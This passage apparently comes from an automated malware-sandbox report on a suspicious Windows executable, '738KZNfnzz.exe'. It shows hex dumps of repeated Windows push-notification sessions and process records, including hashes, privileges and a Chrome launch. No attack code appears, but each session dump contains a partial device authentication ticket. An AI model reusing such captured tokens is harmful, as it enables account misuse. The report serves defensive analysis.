2024-12-27 14:05:52 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-27 14:05:52 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 53 30 4c 54 4c 7a 4a 4f 5a 55 53 38 4b 74 2b 31 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 64 64 36 30 38 64 66 61 31 37 34 62 62 66 35 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 66 33 63 4c 59 5a 74 57 55 43 4a 71 41 63 32 53 58 55 68 66 70 6a 5a 33 66 36 65 53 46 4b 64 6c 6d 68 64 33 31 75 6d 37 2f 73 33 47 51 59 34 79 33 62 4a 6a 34 71 7a 42 72 39 34 6e 69 75 51 39 4b 4b 61 52 44 4a 61 76 78 76 6e 37 75 51 65 36 43 72 53 74 31 76 46 51 6d 4d 42 6d 59 48 62 47 68 56 38 4b 71 4a 35 5a 64 4d 79 72 70 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: S0LTLzJOZUS8Kt+1.2Context: 5dd608dfa174bbf5<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAf3cLYZtWUCJqAc2SXUhfpjZ3f6eSFKdlmhd31um7/s3GQY4y3bJj4qzBr94niuQ9KKaRDJavxvn7uQe6CrSt1vFQmMBmYHbGhV8KqJ5ZdMyrp
2024-12-27 14:05:52 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 53 30 4c 54 4c 7a 4a 4f 5a 55 53 38 4b 74 2b 31 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 64 64 36 30 38 64 66 61 31 37 34 62 62 66 35 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: S0LTLzJOZUS8Kt+1.3Context: 5dd608dfa174bbf5<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-27 14:05:53 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-27 14:05:53 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 78 46 4f 71 48 33 6b 44 76 55 4b 6b 77 70 64 74 71 6d 31 2b 4a 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: xFOqH3kDvUKkwpdtqm1+JQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49817	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-27 14:06:10 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 64 49 51 44 2b 70 59 4b 4d 55 4b 58 6a 78 79 6f 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 61 37 39 61 34 37 64 36 34 66 66 63 36 35 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: dIQD+pYKMUKXjxyo.1Context: ba79a47d64ffc650
2024-12-27 14:06:10 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-27 14:06:10 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 64 49 51 44 2b 70 59 4b 4d 55 4b 58 6a 78 79 6f 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 61 37 39 61 34 37 64 36 34 66 66 63 36 35 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 66 33 63 4c 59 5a 74 57 55 43 4a 71 41 63 32 53 58 55 68 66 70 6a 5a 33 66 36 65 53 46 4b 64 6c 6d 68 64 33 31 75 6d 37 2f 73 33 47 51 59 34 79 33 62 4a 6a 34 71 7a 42 72 39 34 6e 69 75 51 39 4b 4b 61 52 44 4a 61 76 78 76 6e 37 75 51 65 36 43 72 53 74 31 76 46 51 6d 4d 42 6d 59 48 62 47 68 56 38 4b 71 4a 35 5a 64 4d 79 72 70 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: dIQD+pYKMUKXjxyo.2Context: ba79a47d64ffc650<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAf3cLYZtWUCJqAc2SXUhfpjZ3f6eSFKdlmhd31um7/s3GQY4y3bJj4qzBr94niuQ9KKaRDJavxvn7uQe6CrSt1vFQmMBmYHbGhV8KqJ5ZdMyrp
2024-12-27 14:06:10 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 64 49 51 44 2b 70 59 4b 4d 55 4b 58 6a 78 79 6f 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 61 37 39 61 34 37 64 36 34 66 66 63 36 35 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: dIQD+pYKMUKXjxyo.3Context: ba79a47d64ffc650<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-27 14:06:11 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-27 14:06:11 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 65 34 6e 41 61 56 61 50 78 45 69 76 4b 4f 42 5a 6e 43 6e 6e 76 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: e4nAaVaPxEivKOBZnCnnvg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49944	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-27 14:06:30 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 44 4b 7a 54 5a 6c 76 38 48 45 32 70 38 6e 7a 7a 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 30 39 39 62 38 32 63 32 33 36 32 32 38 33 31 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: DKzTZlv8HE2p8nzz.1Context: b099b82c23622831
2024-12-27 14:06:30 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-27 14:06:30 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 44 4b 7a 54 5a 6c 76 38 48 45 32 70 38 6e 7a 7a 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 30 39 39 62 38 32 63 32 33 36 32 32 38 33 31 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 66 33 63 4c 59 5a 74 57 55 43 4a 71 41 63 32 53 58 55 68 66 70 6a 5a 33 66 36 65 53 46 4b 64 6c 6d 68 64 33 31 75 6d 37 2f 73 33 47 51 59 34 79 33 62 4a 6a 34 71 7a 42 72 39 34 6e 69 75 51 39 4b 4b 61 52 44 4a 61 76 78 76 6e 37 75 51 65 36 43 72 53 74 31 76 46 51 6d 4d 42 6d 59 48 62 47 68 56 38 4b 71 4a 35 5a 64 4d 79 72 70 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: DKzTZlv8HE2p8nzz.2Context: b099b82c23622831<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAf3cLYZtWUCJqAc2SXUhfpjZ3f6eSFKdlmhd31um7/s3GQY4y3bJj4qzBr94niuQ9KKaRDJavxvn7uQe6CrSt1vFQmMBmYHbGhV8KqJ5ZdMyrp
2024-12-27 14:06:30 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 44 4b 7a 54 5a 6c 76 38 48 45 32 70 38 6e 7a 7a 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 30 39 39 62 38 32 63 32 33 36 32 32 38 33 31 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: DKzTZlv8HE2p8nzz.3Context: b099b82c23622831<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-27 14:06:31 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-27 14:06:31 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 57 70 6e 52 47 51 34 48 77 45 6d 39 7a 69 71 42 39 4c 70 68 34 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: WpnRGQ4HwEm9ziqB9Lph4Q.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	50002	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-27 14:06:52 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 76 54 4b 35 43 55 35 39 6b 55 53 7a 5a 55 42 48 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 65 35 38 38 61 64 63 32 65 39 30 34 32 65 63 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: vTK5CU59kUSzZUBH.1Context: 2e588adc2e9042ec
2024-12-27 14:06:52 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-27 14:06:52 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 76 54 4b 35 43 55 35 39 6b 55 53 7a 5a 55 42 48 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 65 35 38 38 61 64 63 32 65 39 30 34 32 65 63 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 66 33 63 4c 59 5a 74 57 55 43 4a 71 41 63 32 53 58 55 68 66 70 6a 5a 33 66 36 65 53 46 4b 64 6c 6d 68 64 33 31 75 6d 37 2f 73 33 47 51 59 34 79 33 62 4a 6a 34 71 7a 42 72 39 34 6e 69 75 51 39 4b 4b 61 52 44 4a 61 76 78 76 6e 37 75 51 65 36 43 72 53 74 31 76 46 51 6d 4d 42 6d 59 48 62 47 68 56 38 4b 71 4a 35 5a 64 4d 79 72 70 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: vTK5CU59kUSzZUBH.2Context: 2e588adc2e9042ec<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAf3cLYZtWUCJqAc2SXUhfpjZ3f6eSFKdlmhd31um7/s3GQY4y3bJj4qzBr94niuQ9KKaRDJavxvn7uQe6CrSt1vFQmMBmYHbGhV8KqJ5ZdMyrp
2024-12-27 14:06:52 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 76 54 4b 35 43 55 35 39 6b 55 53 7a 5a 55 42 48 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 65 35 38 38 61 64 63 32 65 39 30 34 32 65 63 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: vTK5CU59kUSzZUBH.3Context: 2e588adc2e9042ec<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-27 14:06:53 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-27 14:06:53 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 45 66 75 7a 43 36 45 4e 63 6b 57 4d 5a 53 63 6d 6a 51 44 44 39 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: EfuzC6ENckWMZScmjQDD9A.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	50060	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-27 14:07:18 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 33 48 4f 55 58 42 7a 62 2f 45 61 50 6e 6a 31 6b 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 30 64 37 31 31 39 31 34 34 32 38 39 66 62 61 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 3HOUXBzb/EaPnj1k.1Context: f0d7119144289fba
2024-12-27 14:07:18 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-27 14:07:18 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 33 48 4f 55 58 42 7a 62 2f 45 61 50 6e 6a 31 6b 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 30 64 37 31 31 39 31 34 34 32 38 39 66 62 61 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 66 33 63 4c 59 5a 74 57 55 43 4a 71 41 63 32 53 58 55 68 66 70 6a 5a 33 66 36 65 53 46 4b 64 6c 6d 68 64 33 31 75 6d 37 2f 73 33 47 51 59 34 79 33 62 4a 6a 34 71 7a 42 72 39 34 6e 69 75 51 39 4b 4b 61 52 44 4a 61 76 78 76 6e 37 75 51 65 36 43 72 53 74 31 76 46 51 6d 4d 42 6d 59 48 62 47 68 56 38 4b 71 4a 35 5a 64 4d 79 72 70 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 3HOUXBzb/EaPnj1k.2Context: f0d7119144289fba<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAf3cLYZtWUCJqAc2SXUhfpjZ3f6eSFKdlmhd31um7/s3GQY4y3bJj4qzBr94niuQ9KKaRDJavxvn7uQe6CrSt1vFQmMBmYHbGhV8KqJ5ZdMyrp
2024-12-27 14:07:18 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 33 48 4f 55 58 42 7a 62 2f 45 61 50 6e 6a 31 6b 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 30 64 37 31 31 39 31 34 34 32 38 39 66 62 61 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 3HOUXBzb/EaPnj1k.3Context: f0d7119144289fba<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-27 14:07:19 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-27 14:07:19 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 51 45 73 53 5a 47 66 64 55 6b 47 42 6a 37 6c 32 35 57 6f 4f 69 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: QEsSZGfdUkGBj7l25WoOiA.0Payload parsing failed.

Target ID:	0
Start time:	09:05:18
Start date:	27/12/2024
Path:	C:\Users\user\Desktop\738KZNfnzz.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\738KZNfnzz.exe"
Imagebase:	0xae0000
File size:	2'966'528 bytes
MD5 hash:	93DB07F78D36AB5DD759D24E435B7875
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	09:05:59
Start date:	27/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=738KZNfnzz.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	09:06:00
Start date:	27/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
